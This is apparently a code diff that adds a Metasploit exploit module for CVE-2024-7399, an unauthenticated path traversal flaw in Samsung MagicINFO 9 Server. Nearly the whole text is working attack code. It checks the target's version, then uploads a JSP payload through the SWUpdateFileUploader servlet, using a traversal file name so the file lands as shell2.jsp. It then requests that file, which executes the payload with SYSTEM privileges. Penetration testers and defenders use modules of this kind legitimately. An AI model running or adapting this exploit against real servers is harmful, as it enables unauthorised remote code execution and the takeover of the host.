|
| 1 | +class MetasploitModule < Msf::Exploit::Remote |
| 2 | + Rank = ExcellentRanking |
| 3 | + include Msf::Exploit::Remote::HttpClient |
| 4 | + include Msf::Exploit::FileDropper |
| 5 | + prepend Msf::Exploit::Remote::AutoCheck |
| 6 | + |
| 7 | + def initialize(info = {}) |
| 8 | + super( |
| 9 | + update_info( |
| 10 | + info, |
| 11 | + 'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)', |
| 12 | + 'Description' => %q{ |
| 13 | + Remote Code Execution in Samsung MagicINFO 9 Server. |
| 14 | + Remote code execution can be obtained by exploiting a path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet, which can be queried by an unauthenticated user. |
| 15 | + By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM. |
| 16 | + }, |
| 17 | + 'License' => MSF_LICENSE, |
| 18 | + 'Author' => [ |
| 19 | + 'Michael Heinzl', # MSF Module |
| 20 | + 'SSD Secure Disclosure' # Discovery and PoC |
| 21 | + ], |
| 22 | + 'References' => [ |
| 23 | + [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/'], |
| 24 | + [ 'CVE', '2024-7399'] |
| 25 | + ], |
| 26 | + 'DisclosureDate' => '2025-04-30', |
| 27 | + 'Platform' => [ 'windows' ], |
| 28 | + 'Arch' => [ ARCH_CMD ], |
| 29 | + 'Targets' => [ |
| 30 | + [ |
| 31 | + 'Java Server Page', { |
| 32 | + 'Platform' => %w[win linux unix], |
| 33 | + 'Arch' => ARCH_JAVA |
| 34 | + } |
| 35 | + ] |
| 36 | + ], |
| 37 | + 'DefaultTarget' => 0, |
| 38 | + 'Notes' => { |
| 39 | + 'Stability' => [CRASH_SAFE], |
| 40 | + 'Reliability' => [REPEATABLE_SESSION], |
| 41 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] |
| 42 | + } |
| 43 | + ) |
| 44 | + ) |
| 45 | + |
| 46 | + register_options( |
| 47 | + [ |
| 48 | + Opt::RPORT(7002), |
| 49 | + OptString.new('TARGETURI', [ true, 'The URI for the MagicInfo web interface', '/MagicInfo']) |
| 50 | + ] |
| 51 | + ) |
| 52 | + end |
| 53 | + |
| 54 | + def check |
| 55 | + res = send_request_cgi({ |
| 56 | + 'method' => 'GET', |
| 57 | + 'uri' => normalize_uri(target_uri.path, 'config.js') |
| 58 | + }) |
| 59 | + |
| 60 | + return CheckCode::Unknown unless res && res.code == 200 |
| 61 | + |
| 62 | + js_object = res.body.to_s[/window\.globalConfig\s*=\s*(\{.*\})/m, 1] |
| 63 | + |
| 64 | + unless js_object |
| 65 | + fail_with(Failure::UnexpectedReply, 'Could not extract globalConfig object from response') |
| 66 | + end |
| 67 | + |
| 68 | + json_safe = js_object.gsub(/'/, '"') |
| 69 | + json_safe.gsub!(/,(\s*[}\]])/, '\1') |
| 70 | + data = JSON.parse(json_safe) |
| 71 | + |
| 72 | + full_version = data['magicInfoFrontEndVersion'] |
| 73 | + version = full_version[/Server\s+([\d.]+)/, 1] |
| 74 | + |
| 75 | + if Rex::Version.new(version) <= Rex::Version.new('21.1050.0') |
| 76 | + vprint_status("MagicINFO version detected: #{full_version}") |
| 77 | + return CheckCode::Appears |
| 78 | + else |
| 79 | + return CheckCode::Safe |
| 80 | + end |
| 81 | + end |
| 82 | + |
| 83 | + def exploit |
| 84 | + execute_command(payload.encoded) |
| 85 | + end |
| 86 | + |
| 87 | + def execute_command(_cmd) |
| 88 | + print_status('Uploading shell...') |
| 89 | + |
| 90 | + post_data = _cmd |
| 91 | + |
| 92 | + res = send_request_cgi({ |
| 93 | + 'method' => 'POST', |
| 94 | + 'ctype' => 'text/plain', |
| 95 | + 'data' => post_data, |
| 96 | + 'uri' => normalize_uri(target_uri.path, 'servlet/SWUpdateFileUploader?fileName=./../../../../../../server/shell2.jsp&deviceType=abc&deviceModelName=test&swVer=123') |
| 97 | + |
| 98 | + }) |
| 99 | + |
| 100 | + if res && res.code == 200 |
| 101 | + print_good('Upload successful.') |
| 102 | + res1 = send_request_cgi({ |
| 103 | + 'uri' => normalize_uri(target_uri.path, 'shell2.jsp'), |
| 104 | + 'method' => 'GET' |
| 105 | + }) |
| 106 | + if res1 && res1.code == 200 |
| 107 | + print_status('Payload executed!') |
| 108 | + else |
| 109 | + fail_with(Failure::PayloadFailed, 'Failed to execute the payload.') |
| 110 | + end |
| 111 | + else |
| 112 | + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.') |
| 113 | + end |
| 114 | + end |
| 115 | + |
| 116 | +end |
0 commit comments